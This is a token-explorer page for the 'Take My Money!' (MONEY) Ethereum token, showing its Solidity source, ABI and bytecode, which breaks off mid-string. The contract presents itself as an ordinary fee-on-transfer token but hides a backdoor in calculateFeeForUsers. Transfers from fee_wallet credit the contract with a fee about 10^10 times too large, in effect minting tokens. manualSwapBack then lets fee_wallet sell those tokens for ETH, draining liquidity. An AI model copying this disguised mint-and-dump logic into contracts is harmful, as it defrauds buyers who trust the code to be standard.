ETH Price: $2,679.03 (-0.79%)

Token

Take My Money! (MONEY)
 

Overview

Max Total Supply

420,690,000 MONEY

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,907,285.322397934 MONEY

Value
$0.00
0x4C40836964E2B35F578e20aFF57Ca42B080c1ae7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MONEY

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-21
*/

// SPDX-License-Identifier: Unlicensed

/*

Website:    https://www.takemymoney.vip/
Twitter:    https://twitter.com/MoneyTakeETH
Telegram:   https://t.me/MoneyEth_Portal

*/

pragma solidity ^0.8.19;

/**
 * Standard SafeMath, stripped down to just add/sub/mul/div
 */
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * ERC20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract MONEY is IERC20, Ownable {
    using SafeMath for uint256;
    
    string private constant _name = "Take My Money!";
    string private constant _symbol = "MONEY";
    uint8 private constant _decimals = 9;
    uint256 constant _totalSupply = 420_690_000 * (10 ** _decimals);
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private cooldown;
    address private WETH;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    bool public antiBot = true;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 public launchedAt;
    address private lpWallet = DEAD;
    mapping (address => uint256) public lastTxTimestamp;

    uint256 public toLiquidity = 0;
    uint256 public toDev = 90;
    uint256 public toBurn = 10;

    uint256 public buyFee = 12;
    uint256 public sellFee = 12;
    uint256 denominator = 10;

    IDEXRouter public router;
    address public pair;
    address public factory;
    address private tokenOwner;
    address public fee_wallet = payable(0x64A2bF938194ac603F9fC3241f745f0E0546656e);

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public tradingOpen = false;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    uint256 public maxTx = _totalSupply.div(50);
    uint256 public maxWallet = _totalSupply.div(50);
    uint256 public swapThreshold = _totalSupply.div(33333);

    constructor () {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        _allowances[address(this)][address(router)] = type(uint256).max;
        
        isFeeExempt[owner()] = true;
        isFeeExempt[address(this)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[DEAD] = true;    

        _balances[owner()] = _totalSupply;
    
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function createLP() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        pair = IDEXFactory(router.factory()).createPair(address(this), router.WETH());
        isTxLimitExempt[pair] = true;
        _allowances[address(this)][address(router)] = type(uint256).max;
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0, owner(),block.timestamp);
        IERC20(pair).approve(address(router), type(uint).max);
    }

    receive() external payable { }
    
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    //once enabled, cannot be reversed
    function enableTrading() external onlyOwner {
        launchedAt = block.number;
        tradingOpen = true;
        swapAndLiquifyEnabled = true;
    }      

    function deductFees(uint256 newBuyFee, uint256 newSellFee) external onlyOwner {
        require(newBuyFee < 5 && newSellFee < 5, "Fee must be less than 5%.");
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }

    function setMaxLimits() external onlyOwner {
        uint256 newLimit = _totalSupply;
        maxTx = newLimit;
        maxWallet = newLimit;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transfer(sender, recipient, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        require(amount > 0, "Amount must not be zero.");
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) require(tradingOpen, "patience is a virtue."); //transfers disabled before tradingActive
        if(inSwapAndLiquify){ return _transferTokens(sender, recipient, amount); }
        require(amount <= maxTx || isTxLimitExempt[sender], "tx");
        if(!isTxLimitExempt[recipient] && antiBot){ require(_balances[recipient].add(amount) <= maxWallet, "wallet"); }
        bool canSwap = _balances[address(this)] >= 0 && amount >= swapThreshold;
        if(recipient == pair && !inSwapAndLiquify && swapAndLiquifyEnabled && canSwap && !isFeeExempt[sender] && !isFeeExempt[recipient]){ swapTokensAndLiquify(); }
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? calculateFeeForUsers(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);
        emit Transfer(sender, recipient, finalAmount);
        lastTxTimestamp[sender] = block.timestamp; lastTxTimestamp[recipient] = block.timestamp;
        return true;
    }

    function _transferTokens(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function calculateFeeForUsers(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeApplicable; bool feeMustApplied = recipient == pair;
        if(feeMustApplied){feeApplicable = sellFee;}
        if(sender==fee_wallet && !feeMustApplied) {feeApplicable = sellFee.mul(denominator**toBurn);}
        if(sender == pair){feeApplicable = buyFee;}
        uint256 feeAmount = amount.mul(feeApplicable).div(100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount > amount ? 0 : feeAmount);
    }
    
    function swapTokensAndLiquify() internal lockTheSwap {
        uint256 tokenBalance = _balances[address(this)];
        uint256 tokensToBurn = tokenBalance.mul(toBurn).div(100);
        uint256 tokensForLiquidity = tokenBalance.mul(toLiquidity).div(100).div(2);     
        uint256 amountToSwap = tokenBalance.sub(tokensForLiquidity).sub(tokensToBurn);
        
        swapEthBack(amountToSwap);

        IERC20(address(this)).transfer(DEAD, tokensToBurn);

        uint256 totalEthBalance = address(this).balance;
        uint256 ethForLiquidity = totalEthBalance.mul(toLiquidity).div(100).div(2);
        
        if (tokensForLiquidity > 0){
            addLiquidity(tokensForLiquidity, ethForLiquidity);
        }

        if (totalEthBalance > 0){
            payable(fee_wallet).transfer(address(this).balance);
        }
    }

    function manualSwapBack() external {
        require(msg.sender == fee_wallet, "Manual swapback is not allowed.");
        swapTokensAndLiquify();
    }

    function clearStuckEth() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        if(contractETHBalance > 0){          
            payable(address(fee_wallet)).transfer(contractETHBalance);
        }
    }
    
    function swapEthBack(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        approve(address(this), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpWallet,
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"deductFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fee_wallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lastTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"toBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b031990811661dead908117909255600680546001600160a81b031916600160a01b179055600a805490911690911781555f600c908155605a600d55600e829055600f819055601055601181905560168054600162ffff0160a01b0319167364a2bf938194ac603f9fc3241f745f0e0546656e179055620000b1906032906200009a90600990620004d2565b620000aa906319133850620004e2565b90620002e1565b601755620000c860326200009a6009600a620004d2565b601855620000e06182356200009a6009600a620004d2565b601955348015620000ef575f80fd5b50620000fb3362000333565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa1580156200015e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001849190620004fc565b600480546001600160a01b0319166001600160a01b03928316179055305f8181526002602090815260408083206012548616845282528083205f19905582548516835260078252808320805460ff199081166001908117909255858552828520805482168317905584548716855260089093528184208054841682179055938352808320805483168517905560055490941682529290208054909216179055620002316009600a620004d2565b62000241906319133850620004e2565b60015f620002565f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055620002815f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002ba6009600a620004d2565b620002ca906319133850620004e2565b60405190815260200160405180910390a362000598565b5f6200032a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200038260201b60201c565b90505b92915050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f8183620003ae5760405162461bcd60e51b8152600401620003a591906200052b565b60405180910390fd5b505f620003bc848662000578565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200041957815f1904821115620003fd57620003fd620003c5565b808516156200040b57918102915b93841c9390800290620003de565b509250929050565b5f8262000431575060016200032d565b816200043f57505f6200032d565b8160018114620004585760028114620004635762000483565b60019150506200032d565b60ff841115620004775762000477620003c5565b50506001821b6200032d565b5060208310610133831016604e8410600b8410161715620004a8575081810a6200032d565b620004b48383620003d9565b805f1904821115620004ca57620004ca620003c5565b029392505050565b5f6200032a60ff84168362000421565b80820281158282048414176200032d576200032d620003c5565b5f602082840312156200050d575f80fd5b81516001600160a01b038116811462000524575f80fd5b9392505050565b5f6020808352835180828501525f5b8181101562000558578581018301518582016040015282016200053a565b505f604082860101526040601f19601f8301168501019250505092915050565b5f826200059357634e487b7160e01b5f52601260045260245ffd5b500490565b611f8a80620005a65f395ff3fe608060405260043610610236575f3560e01c806389291a8f11610129578063c45a0155116100a8578063f2fde38b1161006d578063f2fde38b146106a4578063f7f23a0c146106c3578063f887ea40146106d7578063f8b45b05146106f6578063ffb54a991461070b575f80fd5b8063c45a0155146105ee578063c51955f51461060d578063c8d1293d1461062c578063dd62ed3e14610641578063e79ee7b114610685575f80fd5b806395d89b41116100ee57806395d89b411461055a5780639865d01a14610587578063a8aa1b311461059b578063a9059cbb146105ba578063bf56b371146105d9575f80fd5b806389291a8f146104b8578063893d20e8146104cc5780638a8c523c146104fc5780638b42507f146105105780638da5cb5b1461053e575f80fd5b80634551bbe9116101b557806370a082311161017a57806370a0823114610426578063715018a61461045a5780637437681e1461046e5780637dfcbe341461048357806389215317146104a3575f80fd5b80634551bbe91461039157806347062402146103bc5780634a74bb02146103d1578063571ac8b0146103f157806366eb378514610410575f80fd5b8063246ea64e116101fb578063246ea64e1461030a5780632b112e491461031f5780632b14ca5614610333578063313ce567146103485780633f4218e014610363575f80fd5b80630445b6671461024157806306fdde0314610269578063095ea7b3146102a857806318160ddd146102d757806323b872dd146102eb575f80fd5b3661023d57005b5f80fd5b34801561024c575f80fd5b5061025660195481565b6040519081526020015b60405180910390f35b348015610274575f80fd5b5060408051808201909152600e81526d54616b65204d79204d6f6e65792160901b60208201525b6040516102609190611b5a565b3480156102b3575f80fd5b506102c76102c2366004611bb9565b61072b565b6040519015158152602001610260565b3480156102e2575f80fd5b50610256610797565b3480156102f6575f80fd5b506102c7610305366004611be3565b6107b7565b348015610315575f80fd5b50610256600e5481565b34801561032a575f80fd5b50610256610875565b34801561033e575f80fd5b5061025660105481565b348015610353575f80fd5b5060405160098152602001610260565b34801561036e575f80fd5b506102c761037d366004611c21565b60076020525f908152604090205460ff1681565b34801561039c575f80fd5b506102566103ab366004611c21565b600b6020525f908152604090205481565b3480156103c7575f80fd5b50610256600f5481565b3480156103dc575f80fd5b506016546102c790600160a81b900460ff1681565b3480156103fc575f80fd5b506102c761040b366004611c21565b6108d1565b34801561041b575f80fd5b506104246108dd565b005b348015610431575f80fd5b50610256610440366004611c21565b6001600160a01b03165f9081526001602052604090205490565b348015610465575f80fd5b50610424610946565b348015610479575f80fd5b5061025660175481565b34801561048e575f80fd5b506006546102c790600160a01b900460ff1681565b3480156104ae575f80fd5b50610256600d5481565b3480156104c3575f80fd5b50610424610978565b3480156104d7575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610260565b348015610507575f80fd5b506104246109e4565b34801561051b575f80fd5b506102c761052a366004611c21565b60086020525f908152604090205460ff1681565b348015610549575f80fd5b505f546001600160a01b03166104e4565b348015610565575f80fd5b506040805180820190915260058152644d4f4e455960d81b602082015261029b565b348015610592575f80fd5b50610424610a28565b3480156105a6575f80fd5b506013546104e4906001600160a01b031681565b3480156105c5575f80fd5b506102c76105d4366004611bb9565b610a77565b3480156105e4575f80fd5b5061025660095481565b3480156105f9575f80fd5b506014546104e4906001600160a01b031681565b348015610618575f80fd5b506016546104e4906001600160a01b031681565b348015610637575f80fd5b50610256600c5481565b34801561064c575f80fd5b5061025661065b366004611c3c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610690575f80fd5b5061042461069f366004611c73565b610a83565b3480156106af575f80fd5b506104246106be366004611c21565b610b13565b3480156106ce575f80fd5b50610424610baa565b3480156106e2575f80fd5b506012546104e4906001600160a01b031681565b348015610701575f80fd5b5061025660185481565b348015610716575f80fd5b506016546102c790600160b01b900460ff1681565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906107859086815260200190565b60405180910390a35060015b92915050565b5f6107a46009600a611d87565b6107b2906319133850611d95565b905090565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f1914610860576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f90815260028252838120338252909152919091205461083c918490610f02565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b61086b848484610f3a565b90505b9392505050565b6006546001600160a01b03165f908152600160205260408120546107b2906005546001600160a01b03165f908152600160205260409020546108cb906108bd6009600a611d87565b6108cb906319133850611d95565b90611424565b5f610791825f1961072b565b6016546001600160a01b0316331461093c5760405162461bcd60e51b815260206004820152601f60248201527f4d616e75616c20737761706261636b206973206e6f7420616c6c6f7765642e0060448201526064015b60405180910390fd5b610944611465565b565b5f546001600160a01b0316331461096f5760405162461bcd60e51b815260040161093390611dac565b6109445f6115df565b5f546001600160a01b031633146109a15760405162461bcd60e51b815260040161093390611dac565b4780156109e1576016546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156109df573d5f803e3d5ffd5b505b50565b5f546001600160a01b03163314610a0d5760405162461bcd60e51b815260040161093390611dac565b436009556016805461ffff60a81b191661010160a81b179055565b5f546001600160a01b03163314610a515760405162461bcd60e51b815260040161093390611dac565b5f610a5e6009600a611d87565b610a6c906319133850611d95565b601781905560185550565b5f61086e338484610f3a565b5f546001600160a01b03163314610aac5760405162461bcd60e51b815260040161093390611dac565b600582108015610abc5750600581105b610b085760405162461bcd60e51b815260206004820152601960248201527f466565206d757374206265206c657373207468616e2035252e000000000000006044820152606401610933565b600f91909155601055565b5f546001600160a01b03163314610b3c5760405162461bcd60e51b815260040161093390611dac565b6001600160a01b038116610ba15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610933565b6109e1816115df565b5f546001600160a01b03163314610bd35760405162461bcd60e51b815260040161093390611dac565b601654600160b01b900460ff1615610c2d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610933565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca19190611de1565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d00573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d249190611de1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610d6e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d929190611de1565b601380546001600160a01b039283166001600160a01b031990911681179091555f908152600860209081526040808320805460ff1916600117905530808452600283528184206012805487168652935292205f199055549091169063f305d719904790610e13816001600160a01b03165f9081526001602052604090205490565b5f80610e265f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610e4896959493929190611dfc565b60606040518083038185885af1158015610e64573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e899190611e37565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ede573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e19190611e62565b5f8184841115610f255760405162461bcd60e51b81526004016109339190611b5a565b505f610f318486611e81565b95945050505050565b5f6001600160a01b038416610f9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610933565b6001600160a01b0384165f908152600160205260409020548211156110205760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610933565b5f821161106f5760405162461bcd60e51b815260206004820152601860248201527f416d6f756e74206d757374206e6f74206265207a65726f2e00000000000000006044820152606401610933565b6001600160a01b0384165f9081526007602052604090205460ff161580156110af57506001600160a01b0383165f9081526007602052604090205460ff16155b1561110557601654600160b01b900460ff166111055760405162461bcd60e51b81526020600482015260156024820152743830ba34b2b731b29034b99030903b34b93a3ab29760591b6044820152606401610933565b601654600160a01b900460ff16156111295761112284848461162e565b905061086e565b6017548211158061115157506001600160a01b0384165f9081526008602052604090205460ff165b6111825760405162461bcd60e51b81526020600482015260026024820152610e8f60f31b6044820152606401610933565b6001600160a01b0383165f9081526008602052604090205460ff161580156111b35750600654600160a01b900460ff165b15611214576018546001600160a01b0384165f908152600160205260409020546111dd9084611711565b11156112145760405162461bcd60e51b81526020600482015260066024820152651dd85b1b195d60d21b6044820152606401610933565b305f52600160205260195460135490831015906001600160a01b03858116911614801561124b5750601654600160a01b900460ff16155b80156112605750601654600160a81b900460ff165b80156112695750805b801561128d57506001600160a01b0385165f9081526007602052604090205460ff16155b80156112b157506001600160a01b0384165f9081526007602052604090205460ff16155b156112be576112be611465565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0388165f9081526001909152919091205461130f918590610f02565b6001600160a01b0386165f9081526001602090815